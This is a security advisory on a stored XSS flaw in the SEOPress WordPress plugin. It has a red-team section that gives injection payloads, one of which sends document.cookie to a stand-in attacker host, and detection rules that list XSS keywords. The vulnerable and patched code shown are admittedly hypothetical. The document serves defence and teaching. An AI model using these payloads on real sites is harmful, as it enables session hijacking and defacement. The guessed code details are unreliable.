CVE-2024-1168

Executive Summary

CVE-2024-1168 is a Stored Cross-Site Scripting (XSS) vulnerability in the SEOPress – On-site SEO plugin for WordPress, affecting all versions up to and including 7.9. The flaw resides in the plugin's handling of social image URLs, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious payload, the script executes in the context of the victim's browser, potentially leading to session hijacking, defacement, or data theft. The vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (Victim must access the page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is considered medium due to the requirement for authenticated access and user interaction, but the potential for stored XSS in a widely-used SEO plugin makes it a significant risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the SEOPress plugin's feature that allows users to set a social image URL for posts and pages. When rendering this URL in the HTML output (e.g., for Open Graph meta tags), the plugin fails to properly sanitize and escape the input. An attacker with contributor-level permissions can craft a malicious URL containing JavaScript code, such as:

javascript:alert('XSS')

or a data URI:

data:text/html,<script>alert('XSS')</script>

When the plugin outputs this URL without proper escaping, the browser interprets the injected script, leading to stored XSS. The attack is persistent because the malicious payload is stored in the database and executed each time the page is viewed.

Vulnerable vs. Patched Code

Vulnerable Code (SEOPress <= 7.9): The plugin likely uses a function similar to the following to output the social image URL:

echo '<meta property="og:image" content="' . $social_image_url . '" />';

Here, $social_image_url is not sanitized or escaped, allowing arbitrary script injection.

Patched Code (Hypothetical): A patched version would escape the URL using WordPress's built-in functions:

echo '<meta property="og:image" content="' . esc_url( $social_image_url ) . '" />';

The esc_url() function strips dangerous protocols and encodes special characters, preventing XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: An authenticated WordPress account with contributor-level permissions or higher.

2. Steps:

   • Log in to the WordPress admin panel.
   • Create or edit a post/page.
   • In the SEOPress meta box, set the "Social Image URL" field to a malicious payload, e.g.:

     " onerror="alert(document.cookie)
     

   • Save the post.
   • When any user (including admins) views the post, the script executes.

3. Payload Examples:

   • Steal cookies: " onload="fetch('https://attacker.com/steal?cookie='+document.cookie)
   • Deface page: " onerror="document.body.innerHTML='Hacked'

Blue Team (Detection & Defense)

1. Prevention:

   • Update the SEOPress plugin to a patched version if available.
   • Implement a Web Application Firewall (WAF) rule to block suspicious URL patterns in meta fields.
   • Restrict contributor-level permissions and review user roles.

2. Detection:

   • Monitor for unusual social image URLs containing JavaScript or data URIs.
   • Use the detection rules provided below.

Indicators of Compromise (IOCs)

• Suspicious URLs in wp_postmeta table: Look for meta keys like _seopress_social_fb_img or _seopress_social_twitter_img containing javascript:, data:, or event handlers.
• Unusual HTTP requests: POST requests to /wp-admin/post.php with malicious seopress meta fields.
• Client-side alerts: Unexpected JavaScript execution on pages using SEOPress.

Detection Engineering

YARA Rule

rule CVE_2024_1168_SEOPress_XSS {
    meta:
        description = "Detects malicious social image URLs in SEOPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1168"
    strings:
        $meta_key_fb = "_seopress_social_fb_img"
        $meta_key_tw = "_seopress_social_twitter_img"
        $xss_payload = /(javascript|data:text\/html|onerror|onload|onclick)/
    condition:
        any of ($meta_key*) and $xss_payload
}

Sigma Rule

title: CVE-2024-1168 SEOPress Stored XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via SEOPress social image URL
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: 
            - '_seopress_social_fb_img'
            - '_seopress_social_twitter_img'
    filter:
        http.body|contains: 
            - 'javascript:'
            - 'data:text/html'
            - 'onerror='
            - 'onload='
    condition: selection and filter
falsepositives:
    - Legitimate use of data URIs in image fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1168 SEOPress Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"_seopress_social_fb_img"; http_client_body; pcre:"/(javascript|data:text\/html|onerror|onload|onclick)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the SEOPress plugin if no patch is available.
   • Use a security plugin (e.g., Wordfence) to block malicious input.
   • Audit all posts for suspicious social image URLs.

2. Long-term Fix:

   • Apply the vendor's patch when released.
   • Implement input validation and output escaping for all user-supplied data.
   • Regularly update WordPress and all plugins.

3. Workaround:

   • Restrict contributor-level permissions to trusted users only.
   • Use a Content Security Policy (CSP) header to mitigate XSS impact.

Valters IT
Securing Digital Frontiers